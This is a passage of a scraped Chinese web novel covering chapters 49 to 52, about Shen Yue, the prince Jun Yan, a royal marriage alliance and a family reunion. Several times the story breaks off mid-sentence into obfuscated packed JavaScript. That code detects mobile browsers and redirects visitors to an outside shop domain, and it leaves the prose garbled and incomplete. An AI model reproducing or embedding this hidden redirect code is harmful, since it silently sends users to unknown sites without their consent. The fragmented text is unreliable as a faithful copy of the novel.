她疑惑地在湖边蹲下了,见第一盏水灯飘过来,便伸手拿了,看到莲心中有一张纸条—— “玉坠你若不收,我会为你保管起来,等你想要的时候再给你。” 刚读完,湖上又飘来了第二盏—— “我不会阻止你去做任何想做之事,除非对你有危险。” 第三盏—— “虽说你是为了还人情,可我心里也很欢喜。” 第四盏—— “时候不早了,早些回屋歇息,没人会来打搅你。” 第五盏—— “府上如果住不习惯,去找管家,她会帮你。” 第六盏—— “这些天星月阁一切都好,还有” 后面的墨迹被洇湿了。 第七盏—— “司云每天下午都来门口转悠,你可以出去见他,我不生气。” 沈月:“……” 这最后一盏什么意思哦? 好像是认真的,又好像有一丝阴阳怪气,可他凭什么管她……嗯? 是不是这些话于他而言有些肉麻,他不好意思当面说,所以把话都放在河灯里? 君琰竟然也会做这样心思细巧的事。 这种行为不是该属于逍遥才子的么?他是谁呀,一尊杀神…… 做作! 心思混乱,抬眸时却见他屋里还亮着昏黄的灯,窗上遥遥地映着一个人影。他好像也在透过窗纸,柔和地看向她…… 49. 重逢 华灯荧荧,夜里风大,阿尔汉公主头一回和她长姐吵架了。 “我就要去京城了,你必须和我一起,要么就回燕国,这事没得商量。”赫连雪一贯平静的语气里却透着威严。 “长姐,我不能这样!我这样的话,岂不是断绝了和他之间的所有可能?他如今又栽在那个沈月手里了,这是我的机会!” “你们之间从来就没有可能。”赫连雪冷冰冰地道:“他可曾正眼看过你?你从小都顺风顺水惯了,想要的东西没有得不到的,但是这回不同,这种事必须你情我愿,尤其是像九公子那样的人,你以为你强迫得了他?弄不好还会把命搭上。” 阿尔汉抗议道:“那又怎么样,现在这样不代表以后也这样,难道姐姐不想和所爱之人在一起,老实说,你这次来楚国,难道不是为了” “住口!联姻大事岂是能用儿女私情来揣测的。” “长姐嘴硬!偏生还不许我……”阿尔汉声音里带了哭腔。 “你必须走!只要我在这里,你就休想在外面惹乱子。再要出现在景王面前惹他不快,下一次我也救不了你了。”赫连雪说着便扭头进屋,“来人!” 随着燕国两位公主一并来京,燕楚联姻之事再被提上日程。君朝雨那颗已经平静下去的心重新跳动了起来,跳动且煎熬,竟有些不知该如何面对即将到来的一切,而那位他念想中的美人,却在他还未做准备的场合下,提前出现在了他面前。 微服出巡,在京游走,一缕仙音绕耳,却是《渭城曲》。 “渭城朝雨浥轻尘,客舍青青柳色新……”朝雨,朝雨。 脸色一变,他陡然朝那曲声飘来的方向跑去。 不为别的,只是…… 那是她十年前临走时为他吹的一支曲子。 好熟悉……好生熟悉!越听越觉得和当年一模一样。 他陡然停在了那儿。凉亭内坐着一肌肤胜雪的女子,蓝裙及地,青丝如瀑…… 站了一会儿,猛然生出“近乡情怯”之意,扭头便想走,身后的曲声戛然而止,那美人站了起来:“就这么不想见我?” 一别十年,她从未忘记过他,他亦如是。 只是没想到会以这种方式相见,他以为会是在宫宴上,以楚国君王和燕国公主的身份…… “宫宴上见,当着那么多人的面,我们还能说真心话吗?”她放下竹笛走了过来,看着他熟悉的背影…… 他斟酌了一下终于开口,“是你当初说,往后不必再见的。” 她闻言轻笑,“这不是没办法吗?” 他终于转过身面对她…… 一别十载,她还是那样美,当初的美还带着几分圆润与青涩,如今却是完全长开了,如花朵从含苞步至盛年,一身芳华,世无其二。 她眉宇间带着几缕忧愁,“这些年你过得好吗?” “……好。”有什么不好的?他一时不知该说什么,讷讷地答着。 “也是。”她笑了笑,“都当皇帝了,能有什么不好。” “你呢?”他问。 “还是老样子。”她笑容亲和,仿佛从未因这十年之别而与他生疏,依然像对老友一般,“想来你也知道,我本来是要找个人嫁了的,无奈六妹在楚国胡闹,我只好来替她收拾烂摊子。燕楚联姻是大事,不能因为小孩子闹脾气被搅黄了。” “我听说你在燕国有个相好?那你此番前来,岂不是很痛心?” “这还管得他?我是大燕长公主,必须承担责任,这一次和亲燕国态度很坚定,你不必有疑。不过,你们楚国准备让谁来娶我啊?” 她私底下先找到他来谈事儿,而不是直接在宫宴上谈,这背后必定是有所考虑,她不会是想…… 君朝雨忖了忖,“景王是不行的,七弟或许可以,但也不很配得上你,在诸亲王中……” 她静静看着他。 “抱歉,没法很快给你答复,这个还得你自己去看看……中意谁,我会为你做主。”说着,有些不自在起来,脸颊也微微发烫,“我微服出巡,与你在此待久了不好,请回吧。” …… “朝雨!” ——他刚转身,便听见她在身后唤了一声。 那声音不大,语气里却含着情绪,生生将他的脚绊住。 赫连雪上前两步,凝望着他的背影。 “我的意思你当真不明白?” “……” “我想嫁给你。” 一时间仿佛有春雷劈在眼前,他睁大了眼睛。 “哪怕不能做皇后,哪怕不能有子嗣!朝雨,我懂你的难处,也知道你身为君王所肩负的责任,我愿为你做出退让,可你还是不懂我。我一点都不喜欢小孩子,也没有那么在意名分,一心只想和喜欢的人在一起,只想他的心里,能始终有我一席之地。” “不、不能……”君朝雨嘴唇打颤,“你是燕国长公主,不能这般委屈自己,我也不会让你做妾室的,你要嫁给……” “你就那么想让我做你的嫂子,或是弟妹?”身后美人轻笑一声,“那样也算是一家人,可你,真的甘心吗?朝雨,你连皇帝都当得,难道还不能按照本心来左右我的命运?许我为妃,对你、对楚国,都有利无害。” “……好了,别说了。” “我的意思已向你表明了。我愿意做你的妃嫔,且终身无后。” “为什么呢?!”他转过身来。 在他心里她是圣洁的存在,要娶便应该是正妻,岂有让她为妾的道理?她也不该如此自降身价…… “应该是我问你为什么!你如此不愿,莫非是当年,你本就没有真心喜欢过我?” “不是那样!”他终于吐露心声,“自即位以来我一直未立中宫,为的什么?……可我没想过,还能和你再见。” “这样看来就更是命数使然了。”赫连雪嫣然一笑,“连老天都在帮我们,你却要逆天而行吗?” 君朝雨沉默了一瞬。“你刚才说的都是真心话吗?” “真,比真金还真。”明媚流转的一双横波目,凝视着他,确实不像有半分虚假。 只是君王的直觉告诉他,凡事都不能那么快答应,他们已经不是从前的他们了,她的背后,如今是整个燕国。 “我做你的妃嫔,燕楚联姻,若景王能回心转意接受我六妹,我们两国便是亲上加亲,如若他们那边不成,也有我和你……凭我在燕国的地位,此事没有什么可疑的,楚国陛下是还有什么不放心的吗?” “此事,我无法现在就答复你。”他看着她说,“你的意思我已明白了。” “陛、公子!”这时候却来了一暗卫,刚走到君朝雨面前,却看见了他旁边的陌生女子,一时犹豫。 赫连雪了然一笑,柔柔道:“得了,我告辞了。” 说罢飘然远去,那暗卫方开口道——“公子,大事不好!” “怎么了?” “叶、叶秉心死了!” “什么?!”他脑中骤然一片空白。叶秉心可能是唯一知道那幕后黑手是谁的,他还正想办法派人从他那里套话,怎会忽然遭此意外?! ……想来,必定是被那幕后之人灭的口。 看来这位幕后人,比他想象的还更了解此处的一应情况。 这手下得,又准,又狠。 只是,叶秉心这里的线索断了,又该从何处下手去? 偌大的叶府庭院里,灵幡白幛在微风中漫天飘荡,白色的纸人、纸钱, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“荒唐!”他一拳打在榻上,“本王那东西是帮皇兄运的,难不成因此……” “是这样,皇上也知道,但公子还是惹上了嫌疑。皇上体恤您如今重伤不便回京,专门派了人过来问话,大概过几天就到了。” 将叶秉心灭口的人必然是那幕后真凶,这个人脑子还很好使,竟栽赃到自己头上来了…… “据我们的情报,皇上似乎还并未因此疑心公子,只是玉冰……” “说我御下不严?笑话!”他平复了一下心绪,“他若疑我属下,我往后也不必再为他办事。” “喝药。”沈月可不管这些有的没的,给他上好了药,便命他转过身来喝药。 君琰的心情一团糟,“本王不喝。” “不喝是吧?”她看着他。 他忽然觉察到了危险……“你要干嘛?” “过来。”她不怀好意地笑着,一手端着药碗,忽用另一只手捏住了他的鼻子。 “啊——咳,咳咳咳!”他猝不及防张开了嘴,被她灌药…… 一碗药很快就喝干净了,她满意地拍了拍手。 他尤在咳嗽,拍着胸口,“你这个狠心的女人,想呛死本王?” “自找的!在我这儿,头可断,血可流,药不可不喝,无论什么事儿都不能耽误,否则,你就辞了我。”她抱臂在他榻边坐下,晃了晃脑袋。 “你……”他抬手指向她,在空中僵了一会儿,又蔫蔫地垂下去了,忽然拉被子盖住自己,转身朝墙嘟囔道:“我打不过你!” 50. 双亲 “嗯哼,你都打不过我?那我岂不成打遍天下无敌手了?” “甘拜下风!” “好了九公子,今天白天的事情我做完了,你好好歇着,我出去了。” “你要去哪里?” 她站住,“不是你告诉我司云哥哥会在外面等我?” “……你还真的要去?” “关你什么事?”她头也不回地走了。 “沈、夭、夭……”他咬牙捏着被子,无可奈何地叹了口气。 巧的是司云今日没来。 以往他每天都来的,可一连数日见不到她,他干脆放弃了,转头想起还有件更重要的事得做。 洛氏夫妇醒了。 醒来第一眼见到的,便是司云。 那人给的回转丹果然好用,让他们醒来的时间提前了半年。司云心中如此想着,一面在心里琢磨了几遍一会儿要说的话。 “这是哪儿?”洛宁氏茫然四顾,忽然看到了他……“司云?!好孩子,你怎么在这儿?” 洛商丘揉了揉眼,也疑惑地看过来,“这是怎么回事,我们没死吗?” “洛伯父,洛伯母,你们能醒过来就太好了,也不枉我费了那么多心思寻找解药。” “什么解药?” “伯父伯母还记得昏迷之前的事吗?” “记得!景王下令屠杀云青山所有人,我们被喂下了断魂珠,跌下山崖!” “二老或许还不知道,断魂珠是有解药的,只不过十分难寻,我费尽心思只找到两颗,刚好就与你们服下,耗时一年半你们才醒过来。” 洛商丘自然是还没听明白,“这到底是怎么一回事?司云,你且将一应始末详细说来。” “是。”司云低着头,语气颇为感慨:“当初我为找夭夭妹妹跑去了景王府,所以景王命人屠山之时,我亦能幸免于难。但他要屠山的消息我早有耳闻,我一人虽力弱不能与他抗衡,却可以提前做些准备,所以提前安排了人手在崖下接应二老,并全力寻找断魂珠的解药。当日之后,从乱葬岗拉回您二老,藏于此地,服下解药之后静养,只盼你们有一天能醒过来。” 洛宁氏倒抽一口凉气,“好孩子,那你定是付出了不少辛苦吧。你又何必这样?若是被发现了……哎!你对我们如此大恩,我们一家该怎么报答你啊?!” “伯母言重了,晚辈不需任何报偿。我一向视二老如自己父母,就算是为了夭夭妹妹,这样的事我也要去做。如今二老幸而醒来,我会择机将此事告知她,她一定会很欢喜的。” 洛商丘眼中有几分茫然……“夭夭,她现在如何了?” “回洛伯父,夭夭现在名叫沈月,是星月阁少阁主、沈因初的养女。” 两人听了同时一惊。 “二老稍安勿躁,其实这件事对她而言,也没有什么不好,至少她现在不愁生计。” “你刚才说的谁,星月阁?!” 洛商丘这般激动的反应倒不在司云意料之内,讷讷地点了点头:“是啊。最近星月阁要玉九公子联姻,夭夭她……” “你说什么?!”洛商丘站了起来,“她、她还要嫁给那个魔头?!” “夭夭妹妹现在是星月阁少阁主了,有她必须要做的事,我想,我能理解她。”司云嘴上说着,面上却浮现出一丝伤感。 “你不是喜欢她吗?”洛宁氏道:“既然她现在都是少阁主了,应该也能有自己的主意,如果她中意你,你们怎就不能成?” “伯母不知道。其实,除了星月阁需要联姻……”说至此,有意停顿许久,加重了语气:“夭夭妹妹也是真心喜欢九公子的!我虽喜欢她,却也想成全她的安乐欢喜。至于我……伯父伯母,能拜托你们一件事吗?日后见到夭夭,别告诉她你们是我救的,因为她心里没有我,我不想让她觉得欠我人情、心中不适。” 洛宁氏急了,“你这个傻孩子!你为她做的事自己不说,她怎么知道啊?”顿了顿道:“这件事我们可不能帮你,听伯母的,一定要告诉她,啊!” “胡闹,简直胡闹!”洛商丘又气坏了,“她怎么能真的嫁给仇人?!除非她的心里,根本没有云青山,没有她的家人!” “伯父伯母请息怒。咳咳,事情大概就是这样,如今你们刚醒过来还需静养,尚不要在外露面,以免……” “我们都明白。好孩子,你该怎么办就怎么办吧。只是夭夭……哎,这个孩子,怎么就那么一根筋呢?”洛宁氏回想着,“我记得那个九公子,他之前好像……” “别提了伯母。”司云苦笑,“九公子无论怎么对她,也奈何不了她是心甘情愿的。而我,无论怎么对她好,她也始终不会看我一眼。‘情’之一字,大抵就是如此吧!” “你别灰心!”洛宁氏听着也受不住了,热切道:“等和夭夭见了面,我来和她说!放着你这么好的孩子不要,偏要去跟仇人在一起,哪有这个道理啊?” “她若真要嫁给他……”洛商丘欲言又止,发出一声深重的叹息。 他与妻子已是死过一次的人了,这心也跟着悄无声息地也变了,还能想从前一样说出那般冷硬的话来吗? “我也曾想过,要给夭夭一世幸福,要带她去一个世外桃源,过她喜欢的自由的日子,可是比起自由,她更喜欢景王。我愿意成全她。”司云说着,黯然转身,“伯父伯母,你们先好好歇息吧,我回头再来看你们。” 这是一间秘密小屋,桌上还摆着各种吃食和用品,收拾得很干净。司云已经走了,洛商丘忽然起疑:“我们方才光顾着问夭夭的事,也没问司云这两年如何。” “哎,能怎么样……” “你看看这间屋子。”洛商丘环顾四周道:“能找到这么一个不易被人发现又住得舒适的地方,不容易。以他的实力,真能做到?断魂珠是有解药我以前也听说过,但这解药,就巧不巧能被他找到?一般是下毒之人才会有解药,夫人……” “我说你个糟老头子,怎么疑神疑鬼的!?”洛宁氏打断了他,连珠炮似的道:“人家多好的一个孩子,花了这么多精力和代价救我们,我们还没感谢呢,你就在这里猜疑上了,什么人呐?再说了,司云也是我们看着长大的,难道还能不了解他的品性吗?他是一个会骗人的孩子吗?你如果说这份恩情不是他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14009671|142718||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 给我们的,那还能有谁?难道还是那个魔头不成?那个魔头,他难道会做又杀又救这种自相矛盾的事儿?!他图什么?” “你你你,”老婆忽然一冒火,洛商丘也跟着急了:“你看你,我还没说什么呢,你就急上了!好好好,我现在把嘴巴粘上,不说话了行吧!” “谁不让你说话了?我没有那么霸道啊。窝着睡了两年,自然是要说话的!只是你要平白猜疑人家,我可不答应!”洛宁氏下榻来,走到洗漱台前。 台子上还有一面铜镜,她取下照了照,镜中人与从前一般无二,白发该有多少根还是多少根。 叹了口气觉得没趣,又踱步起来。“夭夭到底是怎么想的,等和她见到面了,我一定要问个清楚。” 洛商丘心中仍然有气,“你还挂念着她呢。” “你就不挂念她了?!”洛宁氏闻言朝他走过来,“你这个没良心的!夭夭好歹也被我们养了这么多年,她还在家的时候,哪样不是规规矩矩的,也没见你夸过她几句,现在她有事儿,你就不要这个女儿了?你当初把孩子接过来的时候” “好了!”洛商丘大喝一声,止住了她的话,也起来踱步,叨叨:“到底是睡了许久没说话,你现在就跟个话痨一样。” “你……”洛宁氏生气道:“嫌我话多你可以换个老婆啊!可以娶小妾去啊,喝花酒去啊!也不看看自己几斤几两,有没有那个钱,有没有那个本事!” 洛商丘转过身来,一时给她气得够呛:“怎么又扯到娶小妾喝花酒了?!” 洛宁氏扬起下巴,“你换个老婆吧!我没意见。反正夭夭是我女儿,你不认她,我认她!” 洛商丘一时说不出话来,一张脸憋得通红,“你都在说些什么玩意儿?!” “不是你说不要她了吗?我告诉你,夭夭也是我养大的,我永远都是她阿娘!就算她有什么不对的地方,那也一定是受了外人的怂恿和蛊惑,不是她的错!她现在尚且不知道我们还活着,这些年怎么过来的都不知道……”说着她忍不住哭了起来,抽噎着:“她一个女孩子在外面容易吗,现在怎么样了,你一点都不关心,也不问,你还说、还说你是什么程婴呐,老娘看你是屠岸贾还差不多!” “……” 洛商丘无奈地听着,又不能堵住耳朵,只能把步子踱得越来越快,显示着他内心的烦躁…… “幸亏这里没人,这些话你现在说说就罢了,等出去以后你要是再说……” “再说怎么样?!” “再说,我……我也救不了我们家了!”洛商丘似被噎住,一时弯着腰咳嗽起来。“唉——!” 沈月在门口没有找到司云,去街上晃悠了一阵子后,正打算回去,却又碰到他了。 “司云哥哥,你在这儿啊?” 他眼睛一亮,“你是出来找我的吗?” “是啊。九公子说你每天这个时候都在,可我今儿出来,你便不在。” “我去做一件事了,现在才回来。”他向她走进,笑容神秘:“夭夭妹妹,我有个好消息要告诉你。” “什么消息?” “跟我来!” 51. 相见 司云哥哥很少这么激动过,他拉着她,一溜烟上了一辆马车,马车蹬蹬往不知名的地方驶去。 “到底是什么呀?” “去了你就知道了。” 洛氏夫妇还在拌嘴冷战,就听见司云的声音传来:“伯父伯母,夭夭来了!” 沈月一惊! 进了这道房门,两个熟悉的身影映入眼帘,洛宁氏一扭头,也惊得从榻上起来,一把拉住洛商丘,“是夭夭!” “阿爹阿娘?!”她不可置信地向他们跑去,洛宁氏一把拉住她揽进怀中,“我的傻孩子!” “阿爹阿娘,你们没死啊……”眼泪不自觉涌了出来,她抽噎着说:“我在做梦吧……” 洛宁氏抚摸着她的小脑袋瓜,“傻孩子,你没做梦,当初是司云救了我们呢。” “啊?”她抬起头来,“那,阿娘,你们这两年是……” “咳咳。”洛商丘咳了两声。 “阿爹。”她这才转过来看他。 “让司云和你说吧。”洛宁氏道。 司云走过来对她道:“景王屠山那天我找了人在山崖下接应,给伯父伯母喂下了断魂珠的解药,这两年一直暗中守着他们,等他们醒转了,才敢来和你说。” “竟有这回事……”她一时怔然,“可是司云哥哥,你那时不是和我一起被关在王府吗?” “但我得知消息很快,想办法传了信出去,托人去云青山帮忙。都是些可靠的江湖人,好在景王没有发现。” 沈月疑惑着点了点头,“原来你还有这样可靠的帮手,我以前都不知道。”顿了顿,忽朝他跪下来:“司云哥哥大恩大德,夭夭终身难忘,若日后有需要我帮助的地方,只管告知,我定报此恩。” 她这样一拜谢,另外三人的脸色都变了。 司云眼中更是掩不住的失落……嘴上却勉强笑着,扶她道:“妹妹快起来,你这一跪我担不起呢。” “咳,夭夭,你就这样谢人家呀?”洛宁氏忍不住出言暗示。“他帮你也不是因为别的。” 洛商丘却直言了:“也是不明白她到底怎么想的,放着相熟的人不要,偏要去往狼窝里钻。” “阿爹阿娘都知道了?”沈月道:“不错,我是要嫁给九公子。” “你……!”虽早有所闻,但亲耳听见她这样说的冲击力更大,洛商丘当即就要发作,被洛宁氏急忙按住,又劝沈月道:“夭夭,你再考虑一下,那个九公子是你的仇家啊。如果不是司云相救,我们就已经死在他手下了,还有云青山的其他人,很多人都是看着你长大的……” “你当真要置杀亲之仇于不顾?!”洛商丘等不到老婆说完,抢了话道:“天底下哪有你这样的人,你和他每在一起一日,难道就不会想到满山的血债?你若实在这般无可救药,要与他双宿双栖,那便去吧,我们以后没你这个女儿了!” “老头子!”洛宁氏用更尖的声音打断了他,“现下才刚见到她,有你这么说话的吗?!我还没把事情问清楚,你就急着给她定罪,谁让你跟在我后面说话的?!你这些年脾气是越发不好了,一天天的,除了添乱啥也不会!” 洛商丘的声音登时变得跟蚊子般小,“我还不是就事论事……” “去你的就事论事!你给我到里边去,面朝墙壁站着!等我和夭夭说完了话,你再出来!” “去就去。”洛商丘起身走了。 沈月方才被一顿骂,现下已有些懵了,洛宁氏忙拉着她过来坐下了,温和道:“他就是那么个人,说话难听,别往心里去。” 沈月低下了头,“阿爹说的是实话。可我嫁给他,并不是为了和他在一起,而是为了……” “不管为了什么,你都不要再和他有牵扯了。这个人在江湖上的名声有多臭你不是不知道,为什么不给自己求一份安稳日子呢?听说你如今被沈阁主收养,我觉得也很好,这样一来就有星月阁庇护你,这是一个好机会啊,何必再陷在旧事里边……” “阿娘,你说晚了。”她抬起头来看着她,神色复杂,“我不是还没嫁给他,我是已经嫁给他,三次了。” “……什么?!”洛宁氏一脸震惊。 “我嫁给他三次了,他三次娶我不成,这件事全城的人都知道,所以我不可能再嫁给旁人,我” “你好糊涂啊!”洛宁氏说什么也没想到会发生这样的事情,“你为什么要嫁给那个魔头三次呢?” “因为我要报仇,他杀我爹娘,我必须报仇……” “傻孩子!”洛宁氏叹了口气,“那现在我们都还活着,你这仇也不必再报了吧?听阿娘的,就和司云过安生日子去。你说你嫁给九公子三次不成,别人可能会介意,但是司云不会介意,他从始至终都是一心一意对你的,相信阿娘的眼光!”说着转向司云:“你介意吗?” “不介意!”他答得响亮,“只要夭夭妹妹愿意跟我,我愿意一辈子对她好,哪怕她心里没我也没关系,我会保护好她!” “你听见了没?”洛宁氏问她,“那个魔头能对你说出这些话吗?” 沈月叹着气,还是慢慢地摇头…… “为什么?”洛宁氏耐心地拉过她的手,语重心长地道:“听阿娘的,你如果没有心悦之人,那就选一个对你好的,日子总归是要过的啊。” “我和九公子之间,并不只有仇恨而已,至于司云哥哥,我很感激他的心意和恩情,但我并未喜欢过他,只是拿他当兄长。阿娘的话说得并不全对,若当真没有心悦之人,我宁孤身一人一辈子,也不会将就。” 司云在旁十分尴尬了。 洛宁氏看了她许久…… “那你现在到底是怎么想的?要嫁给那个魔头第四次?还是此后不再嫁人了?” “这件事,我一时半会儿也决定不了,我需要时间去想想……阿娘,这些年我经历了很多,有些话一时半会儿和你也说不明白,但是阿娘的嘱托我记住了,我会周全好自己,也希望你们多保重。” “……唉。”洛宁氏默然良久。“你长大了,我们管不了你了。” “阿娘,你们往后打算去哪里?我现在虽然在星月阁,但应该可以不时出来看你们的。你们若有什么需要,也可以和我说……” “找个安生地方过后半生吧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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阿爹阿娘还活着,那他与她之间的杀亲之仇,也算是消失了。但云青山众人的血债仍在,她不是那么容易释怀的。 回去时天色已经比较晚了,她想起晚上还要给他换一趟药,便急忙带了小药包赶过去。 他卧在榻上,没睡,眼睛一直看着门口的方向,好像一直在等她…… “来给你换药了。”她如往常般走过去。 这次他却没有乖乖配合,而是眼神犀利地看向她——“你和他到哪里去了?” 她抬眸直视他的犀利——“我想这和你没有关系。我只是来帮你看病,其他的你管不着。” “不肯告诉我?” “为什么要告诉你?” “你看上去好像很高兴。”他盯着她,细致地观察着她的神色,“和你的司云哥哥一起出去,就让你这么高兴?” 阿爹阿娘还活着,她当然高兴了。但此事定然不能给他知道,因为当初是他下令屠山的,如果现在被发现还有幸存者,他会轻易放过他们吗?如上次那般放过那三人的情况,不过是一种可能,她可不敢拿爹娘的命来赌。 她忽然觉得他的想法也不错,遂顺坡下驴:“是啊。和他一起,就是能让我很欢喜。” 君琰的脸立即黑成锅底了。 她见状也不为所动,抬手往他胳膊上一拍,瞪他:“动一下啊!不上药了?” “……” “还是说你对我这个大夫不满,想辞退我?” “哼。”他这才闷闷地背过了身。 52. 坦白 时间一晃如流水,转眼两个月了,君琰的身体基本康复了,沈月也可以带着药箱走人了。 沈因初并没有问她什么,只是吩咐下人为她做好可口的饭菜,并备了些礼物给她。 “你生辰那天不在这里,我不好派人去打扰,现在可将礼物给你了。” 下人得令打开了几个箱子,第一箱是珍宝古玩,第二箱是绫罗绸缎,第三箱是各种漂亮稀奇叫不出名字的玩意儿,第四箱是其他人送来与少阁主贺芳辰的,全部放在一个箱子里。 “谢谢义父。”她乖巧行了个礼。 自被他收养以来,他待她确是极好,每次除了感谢,她也不知还能做些什么。两人之间除了上回那场争执,倒还从未发生过别的矛盾。 “这个——”沈因初似也有些麻木了,拿出一张喜帖放在桌上,“新的。” “……啊?” 君琰果然还是贼心不死。 用他自己的话来说,他不是个轻言放弃的人。 只要还有一丝希望,都不会放弃。 “十天后我要出趟远门,阁里的事交给你了。想来你要继续做你想做的事,我原是不必打搅。”说着笑了笑,“保护好自己。” 一轮月亮照亮了两地。 月华底下,君琰摩挲着那颗玉坠。 特意差人做的一模一样的玉坠,她没有要,但她却留下来为自己医治了两个月,她的态度似乎有所缓和,这是不是说明…… 可她好像仍对司云有情,之前她和他跑出去也不知道是干什么去的,我派了人跟着竟跟丢了,这可是从未有过的事。回来以后她虽竭力忍着,那高兴的心情也能从眼睛里冒出来,我自然是看得分明。她和我在一起的时候,可有这样高兴过吗? 他费尽心思地想着,她应该是心中还有气,但也部分地原谅了我,我从她的言行中可以看出来。若不在这时候乘胜追击一下,难道还让女孩子家主动?想来这一次,她应该不会再拒绝我了吧? ……也说不好。 到底会不会呢? 她的真实心思,我现在是越来越难猜透了。 前面三次的事,我心有余悸,同时却也义无反顾,我说过自己不是个容易放弃的人,哪怕被来回鞭挞,只要有一线希望我都会迎上去……就算她没有完全放下过去又怎么样?就算她心里仍装着司云又怎么样?只要她对我不是全然冷情,我便总能在他们之间撬开一条缝隙。即便前路未明、风雨重重,人也总是要面对的,我和她一起面对就好。 想着心情又好了起来,晚上偷偷跑出去找她。 今天是团圆节,沈因初在外忙应酬,她或许会去街上凑热闹、看花灯。 街道上人来人往,好生热闹。 “静儿,你看这个面具好看吗?”沈月拿起一个小兔面具戴上了,只露出一双眼睛。 “好看呢小姐!”静儿乐呼呼的,也顺手拿了旁边一个大灰狼面具,“小姐,你看我戴呢?” “诶?你拿什么不好,偏拿一只狼?和你一点不像。” 静儿噗嗤一声笑了,“我是看这只狼画得很好玩,并没有多少凶狠的样子,反而有点呆。” 沈月认真地看了一会儿……“听你这么一说,还真是的哩!” 静儿咯咯笑了起来,“那小姐,我们就买这两个面具吧!”说着付了钱。 “今天是团圆节,我不想去找别人,刚好你也没伴儿,这不我们一起了。静儿,今天想买什么好玩的、好吃的,尽管和我说,我全包!”她迎风大笑着,似乎戴上面具以后再不怕被熟人认出来,遂便得肆意了。 “好呀小姐!小姐真好……”“好”字却转瞬淹没在了风里,两人牵着的手被拥挤的人群挤开了。 “静儿?”她回头一望,却哪里还有侍女的身影? “静儿!”她逆着人流走回去,一面走一面看,满眼都是人,各式各样的脸,有大笑的,有颓丧的,有木然的,有和她一样戴着面具的…… 静儿的大灰狼面具应该很显眼,因为很少有人会买狼面具。她心中想着,对,就找面具! “静儿……”她一面喊着,一面走,就这样过了许久,在一个人挤人的糖水摊前停了下来,踮起脚看了眼小贩卖的东西,觉得看起来还挺好吃。不过她没有太多时间停留,即刻又回头找起侍女来。 “……静儿!”忽然她眼睛一亮,看到了大灰狼面具。 “可算找到你了!”她伸出手去,穿过好几个人终于抓住了“静儿”的手,声音吃力:“快走,我们到边上去,我快被挤成面糊了……” 一路拉着对方艰难穿过拥挤的人群,终于到了开阔地儿,她停了下来,在墙角处喘气,“呼,累死我了!” “静儿”一动不动,手里还拿着一碗糖水——很厉害,这么挤过来,竟然没泼。 她忽然发觉不对!静儿怎么可能这么高?! 正要说话,对方却摘下了大灰狼面具,露出一张熟悉的脸。 “你……君琰?!”她也摘下了自己的小白兔面具,“怎么是你?” 他却也是一脸莫名,“你还问我,我刚看到你准备去找你,你忽然拉着我就跑了……” “我是在找我的侍女,我们被人流冲散了,她也戴了和你一样的面具。刚才人多,是我看花眼了……抱歉,抱歉!”她说着要走。 “那可太巧了,你侍女怎么也选这个面具。”他自然不会这么容易放她离开,悄悄地、死死地捏住了她的袖子,“现在人多,等一会儿再找吧。” 她站住,转瞬想到了什么,问他:“景王殿下怎么也会来这种地方,不嫌弃么?” “嫌弃?” “我印象里你可是从来不逛这种小吃街的。” “无妨……总有第一回嘛。” “那你是出来干嘛的?难不成,只是为了找我?” “不可以吗?” “你找我,干嘛?”她瞪他,“若是公事,王爷大可递上名帖与我在星月阁相见,若是私事,我沈月与你,无私可谈。” 他似当头挨了一棒,没想到她会这么说。“你……” “那您是公事,还是私事呢?” “你为本王医治花了两个月的时间,本王自然是要答谢,这不就来找你了。”他斟酌着话语,道:“今天正好过节,便借这个由头,好好谢你一番吧。” “不用。”她淡淡道:“我为你医治是因为你救了我,我还你情,所以我们已经两清了,你不需要再答谢我什么。没事的话,我先走了。” “站住!” 她一下子又想到了别的理由,扯道:“我要去找静儿,还有,司云哥哥还在等我呢。” 他一瞬脸又黑了,“……你就这么急着去找他?” “你在水灯里写的话,不是也希望我找他去么?” ……这什么话?自己说的那些是真是假,她听不出还是装糊涂? “沈小姐,”他深吸了口气,也不知自己是怎么说出下面的话来的:“其实你可以脚踏两条船的。” 她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14027135|142718||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一愣。 “什么?” “我说,你可以脚踩两只船。” “……别了吧,两只船不稳,我怕会翻。” “踩两条船,这样如果期中一条翻了,你还可以上另一条。” 沈月:“……” 她顿了顿,回头又向他走过来,“我对自己的医术还是有自信的,王爷现在应该好了,怎么还说一些胡话?” “多亏沈大夫妙手回春,本王的伤已经好了,所以说出的自然不是胡话。”他翘起唇角,“怎样,要不要考虑一下?” “去你的!”她别过脸去。 “你又骗我。”他定定地说,“司云今天根本没有出来。” 她一怔,“你监视他?” “我对他可没有兴趣。你喜欢谁,我便监视谁。” “……疯子!” “你现在才知道?” “没出来又怎么样,我可以去找他!” 